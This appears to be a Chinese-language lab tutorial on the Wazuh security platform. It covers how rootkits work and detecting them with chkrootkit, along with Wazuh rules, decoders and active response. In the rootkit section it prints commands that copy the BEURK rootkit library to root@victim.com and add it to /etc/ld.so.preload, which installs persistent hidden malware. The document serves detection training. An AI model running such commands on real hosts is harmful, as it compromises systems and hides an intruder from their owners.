目录
1.wazuh
1)什么是wazuh
Wazuh 是一个免费的开源安全平台,统一了 XDR 和 SIEM 功能。它可以保护本地、虚拟化、容器化和基于云的环境中的工作负载。
Wazuh 帮助组织和个人保护其数据资产免受安全威胁。它被全球数千个组织广泛使用,从小型企业到大型企业。
Wazuh的使用场景有:
入侵检测
日志数据分析
完整性检查
漏洞检测
配置评估
应急响应
云、容器安全等
2)安装wazuh
1:仓库安装
地址:一体化部署 - 使用 Elastic Stack 安装 Wazuh
2:虚拟机OVA安装
在浏览器里面下载一个ova,然后后面就更安装虚拟机一样就行
下载链接:https://packages.wazuh.com/4.x/vm/wazuh-4.2.5_1.13.2.ova
安装完成:
2.Rootkit原理解析与检测实践
2.1Rootkit主要分为以下2种
用户态Rootkit(User-mode Rootkit):一般通过覆盖系统二进制和库文件来实现。它具有如下的特点:
它通常替换的二进制文件为ps、netstat、du、ping、lsof、ssh、sshd等,例如已知的Linux t0rn rootkit(https://www.sans.org/security-resources/malwarefaq/t0rn-rootkit,访问日期:2019年2月11日)替换的文件就包括ps(用于隐藏进程)、du(用于隐藏特定文件和目录)。
它也可能使用环境变量LD_PRELOAD和/etc/ld.so.preload、/etc/ld.so.conf等加载黑客自定义的恶意库文件来实现隐藏。例如,beurk(GitHub - unix-thrust/beurk: BEURK Experimental Unix RootKit)这个Rootkit正是使用了这种技术。
它还可能直接在现有进程中加载恶意模块来实现隐藏。例如,在GitHub上托管的这个项目GitHub - ChristianPapathanasiou/apache-rootkit: A malicious Apache module with rootkit functionality就是在Apache进程中注入恶意动态加载库来实现远程控制和隐藏的Rootkit。
它不依赖于内核(Kernel-independent)。
需要为特定的平台而编译。
内核态Rootkit(Kernel-mode Rootkit):通常通过可加载内核模块(LoadableKernel Module,LKM)将恶意代码被直接加载进内核中。它具有如下的特点:
它直接访问/dev/{k,}mem。
更加隐蔽,更难以检测,通常包含后门。
在这里需要指出的是,用于获得root权限的漏洞利用工具不是Rootkit;用于获得root权限的漏洞利用工具被称为提权工具。通常情况下,黑客攻击的动作序列为:
(1)定位目标主机上的漏洞,这一般是通过网络扫描和Web应用扫描工具来实现的。
(2)利用漏洞提权。在步骤(1)中获得的权限可能不是root超级用户权限,此时黑客通过系统中的本地提权漏洞非法的获得root权限。
(3)提权成功后安装Rootkit。
(4)擦除痕迹,通过删除本地日志、操作历史等擦除痕迹。
(5)长期利用被植入了Rootkit的主机。黑客可能会把这些植入了Rootkit的主机作为挖矿机、发动DDoS分布式拒绝服务攻击的僵尸网络等等。
根据rootkit官方文档 下载beurk-dev.zip,并且传到虚拟机/root目录下:
gunix-thrust/beurk: BEURK Experimental Unix RootKit (github.com)
https://github.com/unix-thrust/beurk
2.2解压并编译这个文件
root@ubuntu:~# unzip beurk-dev.zip
root@ubuntu:~# cd beurk-dev/
安装
scp libselinux.so root@victim.com:/lib/
ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'
2.3利用chkrootkit检查rootkit
Chkrootkit是本地化的检测rootkit迹象的安全工具,其官方网站是http://www.chkrootkit.org。Chkrootkit包含:
chkrootkit:这是一个shell脚本,用于检查系统二进制文件是否被rootkit修改。
ifpromisc.c:检查网络端口是否处于混杂模式(promiscuousmode)。
chklastlog.c:检查lastlog是否删除。
chkwtmp.c:检查wtmp是否删除。
check_wtmpx.c:检查wtmpx是否删除(仅适用于Solaris)
chkproc.c:检查可加载内核模块木马的痕迹。
chkdirs.c:检查可加载内核模块木马的痕迹。
strings.c:快捷的字符串替换。
chkutmp.c:检查utmp是否删除
2.4chkrootkit安装
cd /opt #进入/opt目录
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz #下载源码包
2019-02-11 11:25:35 (17.9 KB/s) -‘chkrootkit.tar.gz’ saved [40031] #完成下载源码包
wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.md5 #下载md5校验文件
2019-02-11 11:25:53 (3.18 MB/s) -‘chkrootkit.md5’ saved [52] #完成下载md5校验文件
md5sum chkrootkit.tar.gz #计算源码包md5
0c864b41cae9ef9381292b51104b0a04 chkrootkit.tar.gz #md5计算结果
cat chkrootkit.md5 #查看md5校验文件内容
0c864b41cae9ef9381292b51104b0a04 chkrootkit.tar.gz #和已下载源码包md5对比,文件完整性校验通过
tar zxvf chkrootkit.tar.gz #解压源码包
cd chkrootkit-0.52 #进入源码包解压目录make sense #编译安装
在/opt/chkrootkit-0.52/目录下存储了编译后的二进制文件和相关脚本。执行Rootkit检查的命令如下
cd /opt/chkrootkit-0.52
./chkrootkit
3.wazuh的规则、解码器等告警原理以及主动响应
1)主动响应
主动响应的主要作用是检测到危险或者是告警之后,在一定条件下(比如告警等级大于7或者触发了某条或多条规则),可以做出一系列反应来禁止入侵者访问或登录你的系统。主动响应的脚本在/var/ossec/active-response/bin目录下
2)规则以及解码器
规则
用户的自定义规则是在/var/ossec/etc/rules目录下
wazuh的规则在/var/ossec/ruleset/rules目录下
解码器
Wazuh中的解码器就是从特定类型的事件中提取相关数据。解码分为预解码阶段和解码阶段。
预解码阶段:从已知字段(如syslog记录头中的字段)提取静态信息。这通常包括时间戳、主机名和程序名,这些值通常在所有syslog消息中都能找到,而不管哪个应用程序生成它们。
解码阶段:将从事件中提取更多的动态信息,如源IP地址、用户名、URL等等。一个或多个解码器专门用于从许多不同的应用程序和日志源中提取字段数据。
3)告警信息
日志的目录是在/var/ossec/logs/alerts目录下
以.json结尾的文件是json格式的日志,主要用于ELK分析展示
以.log结尾的文件是我们查看起来比较方便的格式